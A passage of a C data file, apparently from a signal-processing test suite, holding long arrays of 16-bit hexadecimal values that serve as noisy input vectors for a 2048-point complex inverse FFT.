0x22f1, 0x0, 0xb828, 0x0, 0xb994, 0x0, 0xb6bf, 0x0,
0xa269, 0x0, 0x3834, 0x0, 0x39d2, 0x0, 0x37d1, 0x0,
0xae64, 0x0, 0xb88a, 0x0, 0xb9a4, 0x0, 0xb7d7, 0x0,
0xadbd, 0x0, 0x36e1, 0x0, 0x3972, 0x0, 0x385d, 0x0,
0xac77, 0x0, 0xb7fa, 0x0, 0xb94c, 0x0, 0xb81a, 0x0,
0xa50d, 0x0, 0x380b, 0x0, 0x3974, 0x0, 0x3813, 0x0,
0x2d3b, 0x0, 0xb76c, 0x0, 0xb9c8, 0x0, 0xb782, 0x0,
0x1dd4, 0x0, 0x3897, 0x0, 0x3947, 0x0, 0x3669, 0x0,
0xa01e, 0x0, 0xb801, 0x0, 0xb94d, 0x0, 0xb8bd, 0x0,
0xa4fd, 0x0, 0x384b, 0x0, 0x39ac, 0x0, 0x374c, 0x0,
0x1ea8, 0x0, 0xb87f, 0x0, 0xb9f9, 0x0, 0xb817, 0x0,
0x2d15, 0x0, 0x389b, 0x0, 0x3a36, 0x0, 0x3772, 0x0,
0xacf9, 0x0, 0xb7a9, 0x0, 0xba13, 0x0, 0xb7c0, 0x0,
0x1b18, 0x0, 0x3701, 0x0, 0x3986, 0x0, 0x377e, 0x0,
0x2bc5, 0x0, 0xb7ea, 0x0, 0xba0a, 0x0, 0xb7a0, 0x0,
0x1d93, 0x0, 0x3771, 0x0, 0x39c1, 0x0, 0x37f4, 0x0,
0x25c6, 0x0, 0xb76c, 0x0, 0xb98e, 0x0, 0xb813, 0x0,
0xacb4, 0x0, 0x35c5, 0x0, 0x398b, 0x0, 0x3875, 0x0,
0xa87a, 0x0, 0xb84d, 0x0, 0xb9bc, 0x0, 0xb7d6, 0x0,
0x27fa, 0x0, 0x36cc, 0x0, 0x39b7, 0x0, 0x37af, 0x0,
0x26e8, 0x0, 0xb77f, 0x0, 0xba59, 0x0, 0xb8c6, 0x0,
0xaa2b, 0x0, 0x375b, 0x0, 0x3a24, 0x0, 0x36ec, 0x0,
0x2633, 0x0, 0xb7b0, 0x0, 0xb91d, 0x0, 0xb755, 0x0,
0xa25e, 0x0, 0x384f, 0x0, 0x3993, 0x0, 0x35b8, 0x0,
0x1f67, 0x0, 0xb810, 0x0, 0xb97a, 0x0, 0xb7b2, 0x0,
0xa082, 0x0, 0x3894, 0x0, 0x395b, 0x0, 0x3745, 0x0,
0x1c17, 0x0, 0xb743, 0x0, 0xb962, 0x0, 0xb813, 0x0,
0xac47, 0x0, 0x37bc, 0x0, 0x39d5, 0x0, 0x3782, 0x0,
0xaf9c, 0x0, 0xb7cb, 0x0, 0xb9ca, 0x0, 0xb850, 0x0,
0xa92d, 0x0, 0x3749, 0x0, 0x39e3, 0x0, 0x3832, 0x0,
0xac8d, 0x0, 0xb815, 0x0, 0xb91b, 0x0, 0xb6ca, 0x0,
0x2675, 0x0, 0x38a6, 0x0, 0x39f5, 0x0, 0x373d, 0x0,
0xa808, 0x0, 0xb5f8, 0x0, 0xb8d5, 0x0, 0xb83f, 0x0,
0x2453, 0x0, 0x379c, 0x0, 0x392b, 0x0, 0x3739, 0x0,
0xa668, 0x0, 0xb810, 0x0, 0xb9c3, 0x0, 0xb8c2, 0x0
};
static const uint16_t in_cifft_noisy_2048[4096] = {
0xc501, 0x0, 0xbd60, 0x4243, 0x3904, 0xb5eb, 0xbb8d, 0xba8a,
0xb4d2, 0xb63a, 0x3e1c, 0xbeeb, 0x4168, 0xb7b2, 0xb453, 0xc023,
0x359f, 0x2361, 0xbf41, 0xc0f1, 0x3922, 0x3b1b, 0x3681, 0xbc42,
0x37d4, 0x3d93, 0x3bf9, 0x3836, 0xba91, 0xbd92, 0xbbbd, 0x339f,
0x2e15, 0x4142, 0xbe87, 0xbfae, 0xbb02, 0xbe42, 0x4239, 0x4119,
0x4113, 0xb58b, 0x4372, 0xbbcc, 0xc182, 0xb0e1, 0x3999, 0xba8a,
0xbb87, 0x3f09, 0xb34a, 0x2be3, 0xbe59, 0x3f7e, 0x32eb, 0xb907,
0xbdcb, 0xb7de, 0xb4d5, 0x3a9c, 0x35dc, 0xbf49, 0x3130, 0xba73,
0xbddd, 0x44e9, 0x31de, 0x3f0d, 0x3dbb, 0x3b6a, 0x377c, 0xc22c,
0x3a57, 0xb1d0, 0x3ce1, 0xb152, 0x3960, 0x32f1, 0x3448, 0x3ad8,
0xba4f, 0x3b6b, 0x3cbb, 0xbd23, 0xc066, 0xc2b3, 0x3d57, 0x404d,
0x4050, 0xbd41, 0x38be, 0x4142, 0x3f03, 0xc385, 0xc283, 0x3f23,
0xc00c, 0xbf42, 0xc0af, 0x363e, 0x4179, 0x4139, 0x3550, 0xb108,
0x33c6, 0x4026, 0x3c5e, 0xb98d, 0xb7a7, 0xb969, 0xbf4e, 0xb06a,
0xbcf2, 0x2e88, 0x400d, 0x3daa, 0xbff8, 0xb842, 0xc417, 0x3194,
0x3c65, 0x3a52, 0x3e6f, 0x3b0b, 0xbf64, 0x428b, 0xc409, 0x4011,
0x386b, 0x3ed2, 0xbd17, 0x2ce6, 0xb7b4, 0xc15c, 0x37f4, 0xb780,
0x34ac, 0x37d6, 0xb814, 0xb5ef, 0x40e8, 0x4007, 0xb810, 0xc28e,
0x36b3, 0x2f79, 0xbad7, 0x3cba, 0xbdb6, 0xc0ab, 0xbf36, 0xc2d2,
0x38e4, 0x4243, 0x2cfe, 0x2cfd, 0xba99, 0x366d, 0xc067, 0xbab4,
0xbaa7, 0xb9cc, 0x2e0f, 0x3799, 0xb8cd, 0xc4d2, 0xc3be, 0xbe8d,
0xc46a, 0x3b58, 0x4317, 0xb5b4, 0xb96c, 0x3da3, 0x3394, 0xbd85,
0x3be8, 0x3b74, 0x3c28, 0xbadc, 0xbc3f, 0x36a2, 0x40bf, 0x420a,
0xb813, 0x4048, 0xbe7d, 0xb9ae, 0x3ed8, 0xbe20, 0x3700, 0xc3fa,
0x3763, 0xc010, 0xb6c6, 0xc2dd, 0xb941, 0x340a, 0xb69e, 0x3983,
0x3d2f, 0xbc8e, 0xc204, 0xc478, 0xc114, 0xc405, 0x3eca, 0x384d,
0x317d, 0x3cb8, 0xb256, 0xbba7, 0x3c1d, 0xc169, 0xbfd6, 0xb1a3,
0x3dc5, 0xafc6, 0x404e, 0x3941, 0xbc6b, 0x3b4d, 0xbc67, 0x33f3,
0xbb07, 0xbce8, 0xba2b, 0x3559, 0x39df, 0xc03d, 0xbdd5, 0xb56e,
0x343a, 0xaf56, 0xadc2, 0xc27c, 0xbccc, 0x3e63, 0xbdcd, 0xc058,
0x414e, 0x41a5, 0x3427, 0xb81e, 0x4106, 0xa866, 0x38f3, 0xc0b7,
0x3d6b, 0xc25f, 0xb6c8, 0x384e, 0x3e4b, 0xb8b6, 0xbb93, 0xbbe8,
0x2c38, 0x3952, 0x3f64, 0x3c38, 0xbf88, 0x392d, 0x3fc8, 0xb5a5,
0x18ea, 0xbaea, 0x37c3, 0x3c98, 0xb967, 0xb635, 0x3d14, 0xb4ee,
0x40b2, 0x40da, 0xbada, 0xbf51, 0x3838, 0xc2d0, 0xbff1, 0x3cca,
0xbe58, 0xbd2d, 0xbcc9, 0x4302, 0xc1cf, 0xbde8, 0xbe1a, 0xc2a2,
0x35a9, 0x39de, 0xc13f, 0xbc3d, 0xba88, 0xbeed, 0xbbd3, 0xa83e,
0xbc0a, 0x38f1, 0x3b91, 0x3c65, 0xbdeb, 0xc1d8, 0xb5ed, 0x2e8c,
0xb601, 0xba69, 0xb967, 0xbc83, 0x3a95, 0xc03b, 0x3979, 0x3c2c,
0xc126, 0x3af0, 0x2e38, 0x3c38, 0xc127, 0x4003, 0xb85e, 0x3b7b,
0x3e0c, 0x2fde, 0x436d, 0xbbe2, 0x36c5, 0xa775, 0x33ff, 0xb9d9,
0xafba, 0xbe9a, 0x40b3, 0x3752, 0xc130, 0x4460, 0x3b44, 0xc126,
0x3d44, 0x4352, 0x3ca6, 0x408c, 0x3c36, 0xb8ee, 0xc1bf, 0xb80e,
0x4053, 0x3944, 0xb807, 0x38fb, 0xb25d, 0xbc69, 0x3e7e, 0xba5b,
0x3b16, 0x39fa, 0x3ba6, 0x3391, 0xbb47, 0xbc13, 0xaf6b, 0xb81f,
0xbd66, 0xb8a4, 0x3660, 0xb713, 0xbac1, 0xbdcc, 0xb93a, 0x3ddf,
0xbdb8, 0xc27f, 0xb657, 0xb698, 0x3412, 0x4093, 0xbf39, 0xc118,
0xb00f, 0x3c48, 0xb440, 0xbeb1, 0xbd54, 0xbd21, 0xb4d8, 0xbfaa,
0xbdc2, 0x39ec, 0xbf7e, 0xbd33, 0x209c, 0xae16, 0x4034, 0xbde8,
0xbbd3, 0x3ecf, 0x3fcb, 0xc07b, 0x40d8, 0x41e7, 0x368b, 0x3dd3,
0x3ad8, 0x40c3, 0xbef6, 0x3e43, 0xc0f6, 0x3859, 0xc2d5, 0x2c95,
0x4111, 0xbf16, 0x3a64, 0xbaae, 0x4082, 0x3f63, 0xb57d, 0xbfaa,
0xb3f8, 0x3a75, 0xa919, 0x397c, 0x3f56, 0x3b11, 0xc09b, 0xb6ab,
0x410a, 0x3feb, 0xc139, 0xbc5e, 0x4074, 0xc149, 0x3aa7, 0xb2c8,
0x38dc, 0x35e3, 0x39f1, 0x3dee, 0xbb2c, 0xa8e3, 0x3d83, 0x3a50,
0x3c1d, 0x3d5b, 0x34da, 0xb627, 0xbe99, 0xb3af, 0xb9c9, 0x4128,
0xc0ce, 0x3cc7, 0xbe9c, 0xbda4, 0x3af4, 0xbfc9, 0xbc07, 0x35d7,
0xbf3a, 0xbe0b, 0xc02d, 0x3d51, 0xbc21, 0x3cea, 0x345f, 0x414f,
0x3d16, 0xb550, 0x3948, 0xbc55, 0x3eba, 0x3dbc, 0x4011, 0xbe42,
0x3f14, 0xb96d, 0x3c80, 0xbd75, 0x3b67, 0x2403, 0x3cba, 0xbc5c,
0xb89f, 0xac1a, 0xae73, 0x3752, 0x3518, 0xc225, 0x4100, 0xbb61,
0xb40f, 0x3882, 0xbc91, 0x3dd9, 0xb5be, 0x3c4a, 0x3ea2, 0x3ee8,
0x31d7, 0x43e0, 0x2cba, 0x419c, 0xb955, 0xc088, 0xb829, 0xbdd1,
0x3ea0, 0xbc2e, 0x3822, 0xc058, 0x3446, 0xc1bf, 0xc247, 0x3def,
0x38bd, 0xe19b, 0xb684, 0x3cae, 0xbb60, 0x43f4, 0xadee, 0x3fe3,
0x410e, 0x3eca, 0x3b26, 0xadee, 0x3d54, 0x3f45, 0xbc9b, 0xc549,
0xbe65, 0x40b2, 0xbe0b, 0xb8e7, 0x3c03, 0xb4ad, 0x3ddf, 0xb980,
0xbded, 0x3ee7, 0x42c1, 0x411c, 0xb09f, 0xbe75, 0x2c99, 0x23fc,
0xb975, 0x3cfd, 0xc218, 0xb5d8, 0xba14, 0x3dbe, 0x3bb0, 0x3ac1,
0xbbaf, 0xb45c, 0x389e, 0x37d1, 0x3a52, 0xb1e6, 0x3818, 0x4151,
0x345a, 0x3e95, 0xb4d2, 0xab4c, 0x3aec, 0x3f6e, 0x357e, 0x3598,
0x3709, 0x4280, 0xb690, 0xbeeb, 0xb434, 0xbfb5, 0x3e62, 0x2d59,
0xb81a, 0x426b, 0xc074, 0xc024, 0xb5f8, 0xbafd, 0xb7eb, 0x3bcf,
0x3eb1, 0x3c4f, 0xbffd, 0xb7ba, 0x3a71, 0xc022, 0x3a71, 0xbcb3,
0x3ff8, 0x3cc5, 0xb467, 0xbf56, 0x26c2, 0xbab9, 0x407b, 0x3c82,
0x3825, 0xba04, 0xb5ac, 0xc389, 0x3eef, 0x40ea, 0x4193, 0x355d,
0xbe70, 0x3b79, 0xba7e, 0x4003, 0xbc68, 0xb2f4, 0xbcf6, 0x3cdb,
0x3df5, 0xb5d5, 0xb623, 0x3b29, 0x39c2, 0x3855, 0x400a, 0x3b13,
0xc024, 0xbac3, 0xc2aa, 0xa9a7, 0xb488, 0xc050, 0xbc6c, 0xc117,
0xb92e, 0x3354, 0xbf5f, 0x40e2, 0x3c6e, 0xc096, 0xc096, 0xb86e,
0xbc21, 0xaff2, 0x3a86, 0xc151, 0xbb8c, 0x3803, 0x3a20, 0x3252,
0xc02f, 0xbe01, 0x33db, 0xbef6, 0xbfab, 0x3f27, 0xbec2, 0xb3c4,
0x37fb, 0xc07f, 0xbf7d, 0xbef8, 0xbca2, 0x3a27, 0xbfa8, 0x2d71,
0xbdec, 0x3c11, 0xbd99, 0x3981, 0xbeb1, 0xbe42, 0x3e25, 0xb428,
0x3bd3, 0x3f3a, 0x40bf, 0x3f55, 0x382c, 0xbec1, 0xbcf8, 0xc20e,
0x3600, 0x3c72, 0x3ade, 0xb93a, 0xc178, 0xbe7b, 0xb333, 0xc156,
0x41d0, 0xc0f6, 0xb4ca, 0xbec9, 0xb032, 0x38ed, 0x3e78, 0x3e10,
0xbfb6, 0xb87d, 0x3550, 0x3c62, 0xb02b, 0x39cd, 0x3b19, 0x3944,
0xc389, 0x3cac, 0x3e5e, 0xb4d3, 0x3f62, 0xb43a, 0xb9ec, 0xba30,
0xbf98, 0xc000, 0xb14f, 0x423b, 0x3dcf, 0xbcb2, 0xbb38, 0x3bb2,
0xbc3d, 0xc0da, 0x2c73, 0x3ba6, 0xb166, 0xbd50, 0xbd98, 0x325f,
0x4144, 0xc025, 0x41f0, 0xbaf4, 0xb902, 0xbac1, 0xbdeb, 0x3f44,
0x3ff9, 0x3e1d, 0xc39a, 0x3a17, 0x34ba, 0x3c9f, 0xa042, 0xc04f,
0x3292, 0x3e90, 0x3a39, 0x36ce, 0x40a6, 0x3d01, 0xbacc, 0xb46b,
0x3b3a, 0xb61e, 0xba57, 0xc1a9, 0xc126, 0xbc0b, 0x3cd5, 0x3d6b,
0x3813, 0x3b1a, 0x42f5, 0xb5fe, 0xc013, 0x364a, 0x3cb5, 0x3ebe,
0x41ed, 0xaf34, 0x3eb3, 0xbf4e, 0x4041, 0xb6c5, 0x3a9b, 0x36a3,
0x3e04, 0xbc0b, 0x4417, 0x3c29, 0xbabe, 0xc00d, 0x3ae1, 0x40b9,
0x3be2, 0xb700, 0xc021, 0x2bee, 0xc318, 0xb8fc, 0xbd9b, 0x38d9,
0x39d3, 0x3795, 0xb9b8, 0xbd6a, 0x3d9b, 0x39ee, 0x3d4f, 0xbe55,
0xbee5, 0x3d03, 0x3ab5, 0xbb77, 0x350d, 0xba31, 0x3709, 0xbfaa,
0xc41e, 0xbf3b, 0x39e0, 0x385e, 0x3014, 0xb769, 0x40d2, 0xbc59,
0x416f, 0xb254, 0xb8fe, 0x3b13, 0x3973, 0x289e, 0xbd1c, 0x3ef8,
0x4125, 0xbe6a, 0x3f46, 0xbc01, 0x4017, 0x3d9f, 0xb897, 0x3bb8,
0x9fa2, 0xb189, 0x3d54, 0x3af0, 0x30f6, 0x42b4, 0x4065, 0xbeb9,
0xbed5, 0x311c, 0x3450, 0xbdbb, 0x3873, 0xbc7e, 0xc0da, 0x3d7f,
0x3dbb, 0x3c0d, 0x2cba, 0x318e, 0xb9e5, 0xbc33, 0x3d2b, 0x3b6a,
0xc06d, 0x3908, 0xbafc, 0x3c18, 0x392e, 0x381f, 0xc2ad, 0xbeef,
0xb89b, 0x3f21, 0xc2eb, 0x3ac4, 0xbc07, 0xbcb2, 0xa652, 0xbc76,
0x3855, 0xc006, 0x3ff7, 0xb9c4, 0xbdcc, 0xc206, 0xb8c4, 0x3dc9,
0xc249, 0x3c8d, 0xb27d, 0x414c, 0x38b7, 0xb704, 0x4363, 0x3d27,
0x40c7, 0xc0dc, 0xb9c1, 0x41ae, 0xc035, 0x2fbe, 0x425a, 0x3f8f,
0x3bc3, 0xa98c, 0xc08d, 0xbdc9, 0x2110, 0x4012, 0xbedb, 0xbbc4,
0x3fe3, 0xaf4e, 0xc104, 0xbc87, 0xbf22, 0xc08f, 0xb91e, 0x360a,
0x3faf, 0xb55a, 0x40cc, 0xbe65, 0x426d, 0xa440, 0xaee9, 0x371c,
0xbc2b, 0x3c83, 0xbc14, 0xbed2, 0x3698, 0x3777, 0xc07b, 0xb8a3,
0xc22a, 0x3c74, 0x3c6e, 0xbf69, 0x36d0, 0xbb21, 0xb0fe, 0xba43,
0xba9e, 0xb597, 0x3711, 0x3c28, 0x40a9, 0xbe04, 0x40ae, 0xb8aa,
0xb434, 0xb51e, 0xb697, 0xbd3d, 0xb6b4, 0x330d, 0x3c45, 0xb53c,
0x39c0, 0xc0aa, 0x4176, 0xc0d4, 0x31ad, 0x4295, 0xbc57, 0xbc87,
0x3b92, 0xb062, 0x3d26, 0x3cd6, 0x3d4f, 0x3de5, 0xb6ea, 0x4100,
0x3471, 0xbbfb, 0xbdc0, 0x41f8, 0x3d10, 0x3b2c, 0xbd64, 0x3f9a,
0xb4ed, 0xc106, 0xbcd7, 0xbb99, 0xbe19, 0x436f, 0x409f, 0xc29a,
0xac14, 0xb978, 0xb4fc, 0xbcb3, 0xc1b2, 0x3fa7, 0x40d1, 0x413b,
0x2422, 0x4410, 0x2e0f, 0xb483, 0xbddc, 0xa99a, 0x3af4, 0xbe20,
0xc3cc, 0xc063, 0xbc79, 0xb4dc, 0x3aed, 0x3ca9, 0xadf0, 0x41ae,
0x3f65, 0xbe61, 0xbeec, 0xb203, 0xb97b, 0xc0b3, 0x3d03, 0xc0db,
0xb972, 0xba3a, 0xbb47, 0x3e8e, 0xc304, 0xbc04, 0xbb35, 0x3a4c,
0x3965, 0x3ca4, 0xb8a6, 0xc203, 0x372e, 0xbabb, 0xbb27, 0xc041,
0x426d, 0xbba9, 0xbadf, 0xbadd, 0xbda3, 0xb3b0, 0x3070, 0xbe49,
0xb854, 0xb539, 0x1870, 0xb658, 0x39d0, 0xc426, 0x2f13, 0xb868,
0x3599, 0x3c01, 0xade3, 0xbeb6, 0xbff2, 0x3cdc, 0xbc8b, 0xbde2,
0x2e92, 0x3852, 0x2e92, 0xbadc, 0xb804, 0x39a6, 0x4152, 0xc4ac,
0x39cd, 0xc09f, 0x3f54, 0xbee3, 0x3882, 0xbfe7, 0xbab8, 0xb485,
0x42a6, 0x361d, 0xc10b, 0x3e03, 0x40dc, 0xbc91, 0x3826, 0x399d,
0xc244, 0xb933, 0xbb88, 0x3ebf, 0x38fe, 0xb971, 0x40b0, 0x3f61,
0xb8fc, 0xbca9, 0x2f16, 0x4131, 0xc0dd, 0xb412, 0xbab0, 0x3c3f,
0x3ff0, 0xbabe, 0x2519, 0x37c3, 0xbe1e, 0xb862, 0xbffd, 0xc41f,
0x3f40, 0xc238, 0x457c, 0xc00e, 0xa4b1, 0xbcbe, 0x3dd8, 0xbf54,
0x359c, 0x4299, 0x3d5d, 0xb863, 0xb8b8, 0x3718, 0xbc56, 0xba18,
0x41a2, 0x3775, 0xb327, 0xbcc2, 0x388c, 0xbed7, 0xb6a8, 0x354e,
0x3bd4, 0xc2b0, 0x4050, 0xb5e6, 0x3607, 0x3773, 0xb842, 0xaea2,
0xa8dd, 0x3bf3, 0x424f, 0xb97a, 0xb4bd, 0x3c22, 0x3cf7, 0x4117,
0x3abd, 0xbd95, 0x3d3c, 0xb317, 0x2d14, 0xc08c, 0xc106, 0xade2,
0x404e, 0xc15d, 0xc065, 0x41b9, 0xbe00, 0x415b, 0xbd09, 0x2ee3,
0x40c4, 0x3d62, 0x3e94, 0xbef4, 0x41cd, 0xc025, 0xbb81, 0xb958,
0xacef, 0x4246, 0x4361, 0xbc1e, 0x354f, 0xbf19, 0xbd61, 0x3485,
0x3dbc, 0xbf5f, 0x3e2e, 0x40b3, 0xbadc, 0xbd20, 0xbe51, 0x3c19,
0x3b6c, 0xc0b7, 0x2dd6, 0xc0a3, 0x35c3, 0xbc09, 0x3170, 0xba04,
0xc281, 0x2e2f, 0xbe7b, 0xbe85, 0xba31, 0x3e58, 0xb99b, 0x3d54,
0xbfdd, 0x3edc, 0x3fac, 0x3c37, 0xbd0b, 0xb9cb, 0x3490, 0xc1bf,
0xbbf5, 0xa684, 0x3e12, 0xb613, 0xbc7b, 0x42e6, 0xb7b7, 0x4235,
0xbe82, 0xac1c, 0x341f, 0xbdeb, 0x3c56, 0xb958, 0x3b4d, 0xbad1,
0xb4dc, 0xc06c, 0xb69b, 0x3ed2, 0xb3b4, 0x3832, 0x4116, 0xbc1a,
0x3279, 0x3e6f, 0xbcf5, 0xbd73, 0xc3fe, 0x414d, 0xb586, 0x3ca1,
0x3e4c, 0xbc17, 0x321e, 0xaf38, 0x3ac4, 0x3b07, 0x384a, 0x42be,
0xbcd0, 0x3979, 0x3719, 0x37cd, 0xb515, 0x3113, 0x40f3, 0x341a,
0xbc3c, 0x3b07, 0x3630, 0xbff3, 0xb38e, 0xb87d, 0xb932, 0xc186,
0xc0d0, 0x26e4, 0x32b9, 0x20c3, 0xbf82, 0x3b90, 0x3c9b, 0x3dbb,
0xbb10, 0x35b5, 0xbaa9, 0xba0e, 0xb886, 0xb75f, 0xbe78, 0xb6b9,
0x311d, 0x4301, 0xc36d, 0x3d80, 0xbf04, 0x3ca4, 0xbb0d, 0xc3aa,
0xb175, 0x3af8, 0xc292, 0xb68b, 0x3ca0, 0x421a, 0x3f35, 0xb54c,
0xbe96, 0xb357, 0xb828, 0x374e, 0xb031, 0x383c, 0xb767, 0x3867,
0xc060, 0xbdd8, 0x3e73, 0x3bb2, 0x3e47, 0xbfd7, 0x35c6, 0xbae6,
0x3f2a, 0x3c3a, 0xb2ca, 0xbd6e, 0x381c, 0x40b9, 0xb8ab, 0xbe0c,
0xbe12, 0xc03e, 0xc10b, 0x40c4, 0x3ab1, 0x3aaf, 0xba0c, 0x3ecd,
0xbb89, 0x3c11, 0xc09e, 0xbf61, 0xb89b, 0x3fe8, 0x3971, 0x3beb,
0x2e73, 0xbece, 0x3df0, 0x3a1e, 0x3c90, 0xbc7e, 0x4083, 0xbdd7,
0x2deb, 0xb44f, 0xb0f1, 0xb6b3, 0x326a, 0x3a1d, 0x2e13, 0xb977,
0x35eb, 0xbbd0, 0xbd15, 0x3c61, 0x3b00, 0xbdf6, 0xc15a, 0x3d6f,
0xbba7, 0x356b, 0x42b1, 0xb57d, 0xb865, 0x368b, 0x40ab, 0xb8c5,
0x3d8a, 0xbb73, 0xbc4c, 0xc34a, 0x35c6, 0x3fc1, 0x4056, 0x30f5,
0x38e3, 0x3b8b, 0xd2e, 0xc095, 0xc0d2, 0x3a83, 0x407b, 0x3c44,
0x404a, 0xc07f, 0x28d3, 0xb8c6, 0xbf8f, 0xb79c, 0x32d7, 0xbf83,
0xbe5d, 0xbbfe, 0x3bf2, 0x3c6c, 0xc1dc, 0xbc92, 0x3025, 0xc1a3,
0xb586, 0x38c5, 0x3c3c, 0x4403, 0x337c, 0x3a79, 0x39d2, 0x3deb,
0x36b3, 0x3ba3, 0x4113, 0xc0b9, 0xc13a, 0xb519, 0xbf6e, 0xbcc7,
0xba2f, 0x3916, 0x3e25, 0x3543, 0xbc4c, 0xb6f9, 0xafb9, 0x3ff7,
0x3e62, 0xb988, 0x3ad1, 0xbcad, 0xa5b8, 0x40b7, 0xc0c3, 0xc2a6,
0x34e8, 0xc063, 0xb968, 0x3aa2, 0xbdb0, 0x2a9c, 0xbf11, 0x3947,
0x3e51, 0x3f5a, 0xc279, 0x39d7, 0xbedc, 0xc0f6, 0xb606, 0xbef5,
0xb38f, 0x414b, 0x3e29, 0xbd13, 0x3ebe, 0x33cc, 0xc1d6, 0xb070,
0xbbac, 0xb029, 0xc4ca, 0x3f34, 0xbe5e, 0x332c, 0xa992, 0xac76,
0x4030, 0xbdc5, 0xb9d1, 0x3883, 0xae36, 0xb4d0, 0x3d10, 0xc1af,
0xbda2, 0xc116, 0x3c3a, 0x39a3, 0x402b, 0x42f9, 0xacbd, 0x386b,
0x345e, 0x4169, 0xbbc1, 0x3d2b, 0x406d, 0x3b48, 0x3f5f, 0xbeab,
0xbf57, 0x3a19, 0x3f84, 0xb3c9, 0x336e, 0x3b52, 0x3ddc, 0xb98f,
0xb884, 0x3d00, 0xbd26, 0xb700, 0xb654, 0xb0a8, 0x397a, 0x3c61,
0x39f0, 0x3a7d, 0x40d4, 0xbf9f, 0x4161, 0xbe72, 0x3d1d, 0xb99f,
0xc075, 0xb87d, 0x417a, 0xb720, 0xb987, 0x3490, 0x2fc5, 0x3de3,
0x3a14, 0xbf89, 0x3e26, 0xbfbb, 0x3f47, 0x41d1, 0xb619, 0xbbab,
0x3d84, 0xb0a6, 0x34a5, 0x3461, 0xb45d, 0x3b3f, 0x3db6, 0xba40,
0x32cc, 0xb82a, 0x3972, 0x3712, 0xbfa6, 0x3da9, 0xbff1, 0x3960,
0xc1ed, 0xada4, 0x3cfe, 0x3c1e, 0xb6e4, 0x3acf, 0x400c, 0xc05d,
0x3f1d, 0xaf4c, 0x3a89, 0xbbee, 0xbe3b, 0xbc49, 0x32b5, 0xb8c1,
0xc22f, 0x3264, 0xafd3, 0xbb58, 0xbb52, 0x3a84, 0xb32c, 0x33c9,
0xbe96, 0x3ed2, 0x3c16, 0xbe2a, 0x3ade, 0x3c14, 0x3e55, 0xbae8,
0x3981, 0xbc8d, 0xc0f9, 0xbf15, 0x4122, 0x3bad, 0x43c2, 0x3ac6,
0x3e92, 0xbdee, 0x3bb9, 0x3dd5, 0x3775, 0x42c5, 0xbcc1, 0xb580,
0x3557, 0xa02c, 0x382c, 0x3d67, 0x407a, 0x37ee, 0xbd29, 0xb98d,
0xb1cd, 0xbd6d, 0x40f5, 0xbd92, 0x2f23, 0x427c, 0xbe19, 0x3dc4,
0x3bf9, 0xb547, 0xc1da, 0xb831, 0x3f10, 0x3b10, 0x3593, 0xc01f,
0xbc44, 0x3aaf, 0xb6e6, 0xb331, 0xb55d, 0xba68, 0x347c, 0xbeb9,
0xbe99, 0x3c38, 0xc25d, 0x4285, 0xb939, 0x3022, 0xc59a, 0x418a,
0x3e69, 0xbbe5, 0xbae8, 0x3aa4, 0x42e2, 0x405c, 0xbf7d, 0x3e01,
0x3fe7, 0x3a0a, 0x3f5a, 0x3c27, 0x3f42, 0xc00b, 0x28b3, 0xae9e,
0x35b5, 0xc106, 0xb850, 0x3e28, 0xc216, 0x3c85, 0x420b, 0x3a23,
0x441c, 0xc67d, 0x3f72, 0xbea9, 0x2e38, 0xbadd, 0xa482, 0xbc24,
0x3502, 0xb666, 0x404c, 0xba29, 0x3fe8, 0x37ee, 0x3fdc, 0x3988,
0xbc66, 0xc3c9, 0x4301, 0x3f37, 0xc426, 0x41a2, 0x3cf3, 0xb7b8,
0xb465, 0x4059, 0xc12b, 0xbfaa, 0xbbaa, 0x3bb9, 0x3c41, 0x3d45,
0xc0cf, 0x3e13, 0xa56c, 0x39b0, 0x3095, 0x3847, 0x3a9a, 0xbb3d,
0x34d9, 0x3e38, 0x3e38, 0x427f, 0x3bdb, 0xbb86, 0xb735, 0x3ae0,
0xb51e, 0xb3b0, 0x40e9, 0xbb0a, 0x410b, 0xb920, 0xbcb7, 0x3b95,
0xb4ba, 0xbdb4, 0x3028, 0x409b, 0x3aaf, 0xbc24, 0x3be0, 0x419f,
0x3f3a, 0xbe64, 0xb0de, 0x33f0, 0xb7a5, 0xb4fd, 0xb839, 0xbde0,
0x2301, 0xc11b, 0x3a93, 0x3772, 0xbd0a, 0xc060, 0x397b, 0x38b1,
0xbc61, 0x3ee0, 0xba4c, 0xbe47, 0x355e, 0x30b2, 0xbad9, 0x407f,
0xc250, 0x39f2, 0x3f0b, 0xba0c, 0x3976, 0xbec7, 0x402e, 0x3dd8,
0x3323, 0x38bd, 0xb6dc, 0xb7c7, 0xb863, 0xbcd2, 0xbc5d, 0x3bbe,
0x3921, 0x396b, 0xb8e0, 0x34c0, 0x33ce, 0x3963, 0x31dc, 0xbd43,
0xbb4d, 0xb9c6, 0x374f, 0xbe12, 0x3d79, 0x3a18, 0x3e71, 0x36b9,
0xba62, 0x3f0a, 0xbe20, 0xc1e1, 0xc1df, 0x40bf, 0x35f7, 0xba6a,
0x3d35, 0xbab2, 0x3ce4, 0x2c94, 0x3784, 0x4035, 0xbe64, 0xbb9b,
0xbe1b, 0x409e, 0x3b56, 0x33d6, 0x3c33, 0x34cf, 0x3fd5, 0xc345,
0xc0b0, 0xbd8b, 0x36aa, 0x4157, 0x2916, 0x4054, 0x3ed6, 0xbc22,
0x32fd, 0xc070, 0xb9ca, 0x3eb7, 0x3e98, 0x35ca, 0x3e7e, 0x3e4d,
0x4048, 0xb856, 0x417e, 0x44e9, 0xbc9a, 0xc043, 0xbd4d, 0xc254,
0xbc1e, 0xbf45, 0x27d0, 0xc0ab, 0x4324, 0x331e, 0xbe59, 0xc1d7,
0xc1b4, 0xbf67, 0x37e1, 0xacce, 0xbcbd, 0x3a58, 0x38d3, 0xb959,
0xc30c, 0x3595, 0x4152, 0x427f, 0xc13e, 0xc408, 0x3d26, 0x3a4f,
0xbc13, 0x3c65, 0x40c8, 0xbd7d, 0x35a5, 0xc05d, 0x3e4c, 0xa591,
0xbf47, 0xbd0c, 0xbff0, 0xbb40, 0x38dc, 0xb41b, 0xc220, 0x42ea,
0xc196, 0x2def, 0xb4dd, 0x4106, 0x3041, 0x3c32, 0xb286, 0xbd3e,
0xb5dd, 0x38d8, 0xad0a, 0xbad0, 0x3ef6, 0x3ca1, 0x3257, 0x3d5b,
0x40e3, 0x41d0, 0x3954, 0xba9a, 0xb189, 0xc156, 0xb633, 0x327e,
0xb98d, 0x2b44, 0x412b, 0xa47c, 0x3913, 0xad8a, 0xb978, 0x3b46,
0x3a79, 0xb7f8, 0xb2ee, 0xb4d4, 0xb5a7, 0x3e82, 0xbb53, 0xbc41,
